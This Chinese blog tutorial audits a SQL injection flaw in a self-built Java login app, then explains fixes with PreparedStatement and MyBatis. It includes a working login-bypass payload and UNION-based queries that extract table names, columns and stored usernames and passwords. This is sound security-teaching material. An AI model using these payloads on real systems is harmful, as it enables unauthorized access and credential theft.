[ 代码审计篇 ] 代码审计案例详解(一) SQL注入代码审计案例

news2024/12/24 2:10:24

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、什么是SQL注入?
    • 1、SQL注入
    • 2、简单来说
    • 3、SQL注入危害
    • 4、SQL注入防御
  • 二、案例
    • 1、环境搭建
    • 2、工具扫描
    • 3、黑盒测试发现存在SQL注入
      • 1、查看登录逻辑
      • 2、测试注入语句
    • 4、白盒测试发现存在SQL注入
      • 1、点击登录发了一个login请求
      • 2、找到了LoginServlet
      • 3、找到service层的这个login方法
      • 4、找到dao层的这个login方法
    • 5、执行的SQL语句
      • 1、正确账号密码
      • 2、输入万能密码
    • 6、SQL注入获取数据
      • 1、SQL语句获取数据
        • 1. 获得当前使用的数据库库名
        • 2. 获得所有的数据库库名
        • 3. 获得表名
        • 4. 获得列名
        • 5. 获取表数据
      • 2、SQL注入获取数据
        • 1. 获得当前使用的数据库库名
        • 2. 获得表名
        • 3. 获得列名
        • 4. 获取表数据
    • 7、修复
      • 1、修复过程
      • 2、修复结果
  • 三、SQL注入如何防止?
    • 1、防御措施
    • 2.JDBC防止SQL注入
      • 4.4.1 拼接原理
      • 4.4.2 在JDBC里面提供了一个解决方案
    • 3.防御(like和in很容易出现注入漏洞)
      • 1. 原因
      • 2. 解决办法
      • 3. 当预处理遇到 like (模糊)
      • 4. 当预处理遇到 in (一般接数字)
    • 4、第三方框架防SQL注入-Mybatis防注入
      • 1.简单预编译防护
      • 2.like防注入
      • 3.in防注入
  • 四、相关资源

一、什么是SQL注入?

1、SQL注入

是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程 序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以 此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2、简单来说

使用某些手段,在原来的SQL语句基础上,添加了一段SQL并执行。从而达到某一些不 被管理员允许的目的。

3、SQL注入危害

一般使用SQL注入,主要是拿数据库里面的数据,所以会导致数据泄露。

4、SQL注入防御

现在使用的最多也最有效的就是预编译功能防止SQL注入。

二、案例

前面我们提交到了SQL注入会造成数据泄露,那他会泄露些什么,又是怎么泄露的呢,我们慢慢往下看。

1、环境搭建

这里我搭建了一个环境存在SQL注入的环境。由于重点是代码审计,建议大家搭建环境自己操作一遍。

源代码下载链接:https://download.csdn.net/download/qq_51577576/87346584
Eclipse下载链接:https://download.csdn.net/download/qq_51577576/87346579
Tomcat下载链接:https://download.csdn.net/download/qq_51577576/87346570

2、工具扫描

使用 fortify 扫描,发现源代码中存在一个SQL注入.

在这里插入图片描述

3、黑盒测试发现存在SQL注入

1、查看登录逻辑

打开登录页面,简单看一下他的登录逻辑
1、输入正确账号密码,跳转到图书信息列表页面

在这里插入图片描述
在这里插入图片描述

2、输入错误密码提示,用户名或者密码错误

在这里插入图片描述

2、测试注入语句

这里我们输入一个万能密码试一下

' or 1=1 #

在这里插入图片描述

点击登录发现登录成功,怎么登陆页面存在SQL注入

在这里插入图片描述

4、白盒测试发现存在SQL注入

白盒就是看源代码

1、点击登录发了一个login请求

1、点击登录,我们会发现,其实点击登录之后,会去请求login页面,我们根据源代码一步步进行追踪。
在这里插入图片描述

2、我们尝试找一下这个login。
3、因为这是页面上的请求,所以我们需要去找servlet,应该在servlet的controller里面。

2、找到了LoginServlet

1、我们在LoginServlet里面找到了这个login。

在这里插入图片描述

2、我们查看这个LoginServlet代码,发现首先拿到了用户名和密码,然后调用了service层的login方法。

在这里插入图片描述

3、那么接下来我们就需要去寻找service层的login方法。

3、找到service层的这个login方法

我们找到service层的login方法,发现这个login方法没有啥操作,直接调用了dao层的login方法,那接下来我们就需要去dao层。

在这里插入图片描述

4、找到dao层的这个login方法

我们发现这个daoc层的login方法采用了JDBC连接数据库的方法去连接数据库。
它执行的SQL语句是:

SELECT * from userinfo WHERE userName= '"+uname+" 'and userPass= '"+upass+"'

其实就是拿着这个用户名密码到schooldb里面userinfo表去进行匹配。
匹配的上就跳转,匹配不上就提示错误(LoginServlet执行)。大概就是这么一个逻辑。

在这里插入图片描述

5、执行的SQL语句

我们来详细的看一下这个SQL语句,为什么输入正确的密码能登陆成功,为什么输入错误密码登陆不成功,为什么输入万能密码登陆成功。

SELECT * from userinfo WHERE userName= '"+uname+" 'and userPass= '"+upass+"'

1、正确账号密码

根据SQL语句的逻辑,其实输入正确账号密码之后执行的SQL语句就是下面这个。账号密码都是admin。

SELECT * from userinfo WHERE userName= 'admin'and userPass= 'admin'

我们在数据库里面执行以下这条SQL语句。
发现找到一条 admin:admin 的数据,能查到结果,证明在 dao 层 login 方法进行匹配时匹配成功了,所以在 LoginServlet 方法种进行了跳转,所以登录成功。

在这里插入图片描述

那么输入错误的账号密码就是在数据库种找不到输入的账号密码,就是是在dao层login方法种匹配不成功,也就会在 LoginServlet 种进行错误提示,也就登录不成功。

2、输入万能密码

同样的,我们看输入万能密码之后的SQL语句如下。

SELECT * from userinfo WHERE userName= ' 'or 1=1 #'and userPass= 'admin'

发现也能查到结果,所以也能登录成功

在这里插入图片描述

'or 1=1 #

'先闭合前面的,or 1=1恒成立,一定是真,所以它会查询所有的账号密码,#注释后面的内容,后面的内容不会执行。

我们就可以执行任意恶意的SQL语句,去获取数据库中的数据。

6、SQL注入获取数据

1、SQL语句获取数据

1. 获得当前使用的数据库库名

SELECT DATABASE();

在这里插入图片描述

2. 获得所有的数据库库名

SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

在这里插入图片描述

3. 获得表名

SELECT * from information_schema.`TABLES` WHERE TABLE_SCHEMA='schooldb'

在这里插入图片描述

4. 获得列名

SELECT * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='schooldb' and TABLE_NAME ='userinfo'

在这里插入图片描述

5. 获取表数据

SELECT userID,userName,userPass from userinfo

在这里插入图片描述

2、SQL注入获取数据

1. 获得当前使用的数据库库名

SELECT DATABASE();
SELECT * from userinfo WHERE userName= ''   union SELECT 1,DATABASE(),2 # and userPass= ''

在这里插入图片描述

2. 获得表名

SELECT * from information_schema.`TABLES` WHERE TABLE_SCHEMA='schooldb'
SELECT * from userinfo WHERE userName= ''   union SELECT 1,GROUP_CONCAT(table_Name),2 from information_schema.`TABLES` WHERE TABLE_SCHEMA='schooldb' # and userPass= ''

在这里插入图片描述

3. 获得列名

SELECT * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='schooldb' and TABLE_NAME ='userinfo'
SELECT * from userinfo WHERE userName= ''   union SELECT 1,GROUP_CONCAT(column_name) ,2 from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='schooldb' and TABLE_NAME ='userinfo' #and userPass= ''

在这里插入图片描述

4. 获取表数据

SELECT userID,userName,userPass from userinfo
SELECT * from userinfo WHERE userName= '' union SELECT userID,userName,userpass FROM userinfo  #and userPass= ''

在这里插入图片描述

7、修复

1、修复过程

这里我们采用的是JDBC自带的预编译功能呢。这里只展示修复过程,详解看下一个部分。

String sql="SELECT * from userinfo WHERE userName= ? and userPass= ?";
PreparedStatement ps=conn.prepareStatement(sql);
ps.setString(1, uname);
ps.setString(2, upass);

在这里插入图片描述

2、修复结果

同样的输入注入语句,提示用户名或密码错误

在这里插入图片描述

三、SQL注入如何防止?

1、防御措施

1、预编译
2、内容过滤
3、引号转义(转义)
4、错误信息(报错注入)
5、数据库权限(严格的权限控制,你只能干什么)
6、数据加密(拿到数据解不了密)
7、应用防火墙(WAF)

2.JDBC防止SQL注入

4.4.1 拼接原理

SQL注入到底是怎么发生的,为什么他能拼接我的SQL注入,以及在代码层次如何防御

在这里插入图片描述

变量和SQL语句通过+连接,这个uname可以是任何的字符串,当然也可以是SQL语句,我们怎么解决这个问题呢

4.4.2 在JDBC里面提供了一个解决方案

在处理SQL语句的时候我们不能使用Statement这个对象,这个对象会原封不动的执行SQL语句

而要使用PreparedStatement这个对象,他会预编译之后才去执行

SELECT * from userinfo WHERE userName= '?'and userPass= '?'

不管你传进来的什么值我一直把你当字符串,就直接限定了这么查询,以及两个变量值

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

3.防御(like和in很容易出现注入漏洞)

1. 原因

Statment不能防止sql注入
“+”号直接拼接参数(要溯源对参数进行过滤)

在这里插入图片描述

2. 解决办法

PreparedStatement预处理

在这里插入图片描述

3. 当预处理遇到 like (模糊)

不正确写法

在这里插入图片描述

预处理遇到like—正确处理方法

在这里插入图片描述

4. 当预处理遇到 in (一般接数字)

不正确写法

在这里插入图片描述

正确写法
先把数字变成字符串数组,在变成一个个的?

在这里插入图片描述

4、第三方框架防SQL注入-Mybatis防注入

在实际开发中很少用到这种JDBC的代码,更多的会使用JDBC的代码,向Mybatis就是很常见的,这次先讲这个,下次将一个maven的项目。

1.简单预编译防护

${}直接拼接,存在漏洞

在这里插入图片描述

#{} 预编译

在这里插入图片描述

2.like防注入

Mysql:

select * from t_user where name like concat('%', #{name}, '%')

Oracle:

select * from t_user where name like '%' | | #{name} | | '%'

Sql Server:

select * from t_user where name like '%' + #{name} + '%'

3.in防注入

<if test="paramBrands != null" >•and brand.brand_id in <foreach             collection="paramBrands" item="perBrand" open="(" close=")" separator=","> # {perBrand.brandId}</foreach></if>

四、相关资源

1、源代码下载链接
2、Eclipse下载链接
3、Tomcat下载链接
4、[ 代码审计篇 ] Fortify 安装及使用详解(一)
5、DBeaver数据库下载

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/115720.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

skywalking 快速入门

一、skywalking简介 1、skywalking介绍 Skywalking是一个国产的开源框架&#xff0c;2015年有吴晟个人开源&#xff0c;2017年加入Apache孵化器&#xff0c;国人开源的产品&#xff0c;主要开发人员来自于华为&#xff0c;2019年4月17日Apache董事会批准SkyWalking成为顶级项…

村政府小型网站

小型网站架构 编程工具&#xff0c;编程语言&#xff0c;编程细节 编程工具 idea最好的java项目编程工具&#xff0c;集合springboot框架。 编程语言 java,jsp,数据库表编程 编程细节 配置springboot&#xff0c;pom.xml相关配置文件&#xff0c;熟练使用idea以及相关目…

再学C语言15:其他运算符

C大约有40个运算符 一、sizeof运算符和size_t运算符 sizeof运算符&#xff1a;以字节为单位返回其操作数大小&#xff1b;操作数可以是一个具体的数据对象&#xff08;如一个变量名&#xff09;或者一个类型&#xff08;如float&#xff09;&#xff1b;如果数据对象是一个类…

unity前端通过java后端实现将图片上传到阿里云OSS并在前端显示

一、开通对象存储OSS服务 阿里云-搜索推荐 &#xff08;1&#xff09;申请阿里云账号 &#xff08;2&#xff09;实名认证 &#xff08;3&#xff09;开通对象存储oss服务 &#xff08;4&#xff09;进入管理控制台 &#xff08;5&#xff09;创建bucket &#xff08;6&a…

基于注解的自动装配之@Autowired的原理及注意事项

基于注解的自动装配之Autowired的原理及注意事项 1. Autowired的原理 首先根据所需要的组件类型到IOC容器中查找 能够找到唯一的bean&#xff1a;直接执行装配 如果完全找不到匹配这个类型的bean&#xff1a;装配失败 和所需类型匹配的bean不止一个 没有Qualifier注解&#…

YGG 与 Mike Ovecka 对 Web3 电子竞技的愿景

&#xff08;从左到右&#xff09;YGG 内容创作者 Een Mercado、Ampverse Web3 负责人 Sascha Jochum、Axie Infinity 菲律宾负责人 Nix Eniego、MetaSports 联合创始人兼 CEO Joe Josue 和 YGG 电子竞技负责人 Mike Ovecka 在 Philippine Web3 Festival 的“区块链游戏电子竞…

MybatisPlus代码生成器配置(处理blob等类型)

一&#xff1a;新建springboot项目 二&#xff1a;导包 <dependencies><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-generator</artifactId><version>3.3.2</version></dependency><depe…

ATJ2158界面绘制LVGL---定时器

LVGL定时器 在lv_timer.c中有相关的操作函数 Create a timer&#xff08;创建定时器&#xff09; LVGL 有一个内置的定时器系统。可以注册一个函数以定期调用它。定时器在lv_timer_handler()中被处理和调用&#xff0c;它需要每隔几毫秒调用一次 Ready and Reset&#xff0…

fio磁盘压测工具

文章目录背景安装测试如何模拟现实中的IOfio参数解释【1】随机读测试【2】随机写测试【3】 顺序读测试【4】 顺序写测试numjobs5 测试随机读随机写顺序读顺序写blktracefio 模拟真实IO场景查看 blktrace 记录的结果将结果转化为二进制文件使用 fio 重放日志结论背景 因为是虚拟…

Oracle 备份与恢复常见的七大问题

为了最大限度保障数据的安全性&#xff0c;同时能在不可预计灾难的情况下保证数据的快速恢复&#xff0c;需要根据数据的类型和重要程度制定相应的备份和恢复方案。在这个过程中&#xff0c;DBA的职责就是要保证数据库&#xff08;其它数据由其它岗位负责&#xff09;的高可用和…

Linux常用操作(下)

目录 文件传输 全局查找 管道符 统计数目 vim快捷键 软件安装 用户和组 文件权限 文件传输 yum install lrzsz -y rpm -qa |grep lrzsz 完成后直接将文件拖入xshell即可 全局查找 grep 字符串 文件名 grep colea * grep -r colea *//递归全局查找 管道符 ps -ef…

边缘AI概述

随着移动计算和物联网&#xff08;IoT&#xff09;应用程序的爆炸性增长&#xff0c;数十亿移动和物联网设备正在连接到互联网&#xff0c;在网络边缘生成大量数据。因此&#xff0c;在云数据中心收集大量数据会产生极高的延迟和网络带宽使用。 因此&#xff0c;迫切需要将人工…

K8S——调用亲和性

k8s-调度亲和性 简介 Scheduler 是 kubernetes 的调度器&#xff0c;主要的任务是把定义的 pod 分配到集群的节点上。听起来非常简单&#xff0c;但有 很多要考虑的问题&#xff1a; 公平&#xff1a;如何保证每个节点都能被分配资源资源高效利用&#xff1a;集群所有资源最…

为什么NoSQL数据库这么受欢迎?

大数据时代&#xff0c;NoSQL数据库是企业构建数据能力的核心工具之一。近期&#xff0c;在2022腾讯全球数字生态大会NoSQL数据库专场上&#xff0c;腾讯云发布了多项NoSQL产品能力升级&#xff0c;并重点讲解了其背后的自研技术要点及实现细节&#xff0c;分享了腾讯云NoSQL为…

利用Python自动生成请假条,实现高效摸鱼

哈喽兄弟们&#xff0c;今天咱们来实现用Python来批量生成请假条&#xff0c;这回既学了东西又做了事情&#xff0c;两不误~ 本文就将基于一个真实的办公案例进行讲解如何提取Excel内容并创建Word 主要将涉及以下三个知识点 openpyxl 读取 Excel 文件python-docx 写入 Word …

org.springframework.jdbc.BadSqlGrammarException: Error updating database

&#x1f497;wei_shuo的个人主页 &#x1f4ab;wei_shuo的学习社区 &#x1f310;Hello World &#xff01; org.springframework.jdbc.BadSqlGrammarException: Error updating database 报错信息&#xff1a; org.springframework.jdbc.BadSqlGrammarException: Error updat…

Python基础入门(一)

文章目录前言Python起源简介常量和表达式什么是变量变量的语法变量的定义变量的命名规则使用变量变量的类型动态类型的变量注释注释是什么注释的基本语法注释的书写规范输入输出通过控制台输出格式化输出输入转义字符运算符算数运算符关系运算符逻辑运算符赋值运算符复合赋值运…

Python高频面试题——迭代器和可迭代对象

无论是面试测试还是运维涉及到python编码岗位时&#xff0c;迭代器和可迭代对象都是绕不开的一个问题&#xff0c;本文对这两个概念进行重点讲解&#xff0c;本文从什么是迭代讲起&#xff0c;然后介绍迭代器和可迭代对象二者的区别&#xff0c;最后通过for 循环和自定义迭代器…

150万奖金:首届6G智能无线通信系统大赛正式上线

通信与人工智能技术的深度融合已成为无线通信系统发展的最重要方向之一&#xff0c;面向6G&#xff0c;通信与AI融合的角度和深度将进一步扩展&#xff0c;迎接“无限”可能。在6G研究的关键发展阶段&#xff0c;由IMT-2030(6G)推进组主办&#xff0c;中国信息通信研究院、华为…

【折腾服务器 3】群晖学习版中安装 Active Backup for Business 及相关配置 =)

Catch UP 书接上回&#xff0c;在 ESXi 中安装了群晖系统&#xff0c;这个系统主要是用来给 Windows 物理机做备份的&#xff0c;因此在本片主要讲解如何配置 Active Backup for Business 软件。 Chapter 1 设置存储空间 上一篇博客中&#xff0c;安装群晖时分配了一个 32GB…